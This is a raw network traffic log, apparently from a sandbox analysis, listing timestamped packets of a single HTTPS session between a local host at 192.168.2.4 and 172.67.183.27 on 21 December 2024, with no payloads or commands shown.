Dec 21, 2024 20:13:51.924736977 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.924751043 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.924823999 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.924829960 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.924868107 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.932221889 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.932236910 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.932291031 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.932295084 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.932333946 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.938815117 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.938827991 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.938885927 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.938890934 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.938931942 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.952137947 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.952151060 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.952233076 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.952238083 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.952282906 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.089210033 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.089225054 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.089277983 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.089284897 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.089333057 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.095659971 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.095674038 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.095730066 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.095736027 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.095798969 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.102952957 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.102966070 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.103012085 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.103019953 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.103065014 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.110466957 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.110479116 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.110532999 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.110538960 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.110582113 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.117058039 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.117070913 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.117104053 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.117109060 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.117139101 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.117152929 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.124541044 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.124552965 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.124614000 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.124619007 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.124658108 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.131866932 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.131880045 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.131933928 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.131939888 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.131990910 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.144627094 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.144639969 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.144695997 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.144701958 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.144756079 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.281512022 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.281527042 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.281585932 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.281599998 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.281646013 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.288532019 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.288544893 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.288578033 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.288625956 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.288635015 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.288841963 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.295106888 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.295119047 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.295161009 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.295166969 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.295193911 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.295206070 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.302438021 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.302450895 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.302500963 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.302506924 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.302582979 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.310010910 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.310024023 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.310086966 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.310094118 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.310158014 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.316499949 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.316514015 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.316567898 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.316572905 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.316607952 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.322879076 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.322940111 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.322963953 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.323014975 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.323044062 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.323080063 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.329334021 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.329348087 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.329404116 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.329411030 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.329447985 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.443953991 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.443968058 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.444013119 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.444017887 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.444045067 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.444058895 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.479228020 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.479243040 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.479296923 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.479321003 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.479357004 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.486675024 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.486690044 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.486741066 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.486754894 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.486800909 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.493289948 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.493304968 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.493367910 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.493376970 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.493415117 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.499731064 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.499749899 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.499790907 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.499804020 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.499829054 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.499841928 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.506359100 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.506372929 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.506422997 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.506434917 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.506469011 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.512269020 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.512281895 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.512330055 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.512340069 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.512408972 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.518838882 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.518851995 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.518910885 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.518919945 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.518954992 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.636687994 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.636703014 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.636748075 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.636771917 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.636784077 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.636815071 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.672066927 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.672079086 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.672122002 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.672133923 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.672152042 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.672168016 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.677978992 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.677990913 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.678045034 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.678056955 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.678090096 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.683820963 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.683832884 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.683886051 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.683906078 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.683954954 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.690525055 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.690536976 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.690587044 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.690599918 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.690624952 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.690639973 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.697012901 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.697026014 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.697077990 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.697088957 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.697139025 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.702830076 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.702842951 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.702886105 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.702896118 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.702923059 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.702939987 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.709391117 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.709409952 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.709450006 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.709461927 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.709485054 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.709503889 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.830046892 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.830064058 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.830111027 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.830127001 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.830147028 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.830183983 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.864245892 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.864260912 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.864299059 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.864311934 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.864339113 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.864353895 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.870332003 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.870346069 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.870413065 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.870421886 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.870460033 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.876163006 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.876174927 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.876215935 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.876225948 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.876261950 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.882823944 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.882836103 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.882895947 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.882905006 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.882985115 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.889245033 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.889256954 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.889312983 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.889322042 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.889364958 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.895858049 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.895876884 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.895912886 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.895920992 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.895950079 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.895968914 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.901746988 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.901760101 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.901812077 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:52.901823044 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:52.901861906 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.023279905 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.023365021 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.023408890 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.023427010 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.023452044 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.023488998 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.056277037 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.056337118 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.056381941 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.056397915 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.056421041 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.056762934 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.062553883 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.062598944 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.062640905 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.062650919 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.062674046 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.062728882 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.068497896 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.068564892 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.068603039 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.068609953 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.068630934 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.068670034 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.075086117 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.075131893 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.075175047 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.075181961 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.075207949 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.075468063 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.091077089 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.091136932 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.091177940 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.091191053 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.091203928 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.091294050 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.097374916 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.097421885 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.097496033 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.097496033 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.097507000 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.097609043 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.104015112 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.104063988 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.104103088 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.104111910 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.104137897 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.104192972 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.215588093 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.215663910 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.215708017 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.215723991 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.215753078 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.215823889 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.248677969 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.248756886 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.248795033 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.248806953 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.248856068 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.248856068 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.255302906 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.255367994 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.255448103 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.255448103 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.255462885 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.257841110 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.261245966 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.261286020 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.261342049 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.261353016 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.261396885 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.261396885 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.267745972 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.267785072 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.267819881 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.267828941 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.267853975 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.267936945 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.283147097 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.283215046 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.283261061 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.283274889 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.283305883 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.284806013 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.289711952 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.289755106 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.289783001 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.289793015 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.289817095 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.289907932 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.300035954 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.300103903 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.300144911 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.300154924 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.300177097 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.300434113 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.436328888 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.436392069 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.436428070 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.436443090 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.436471939 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.436531067 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.441073895 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.441137075 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.441164970 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.441176891 CET	443	49737	172.67.183.27	192.168.2.4
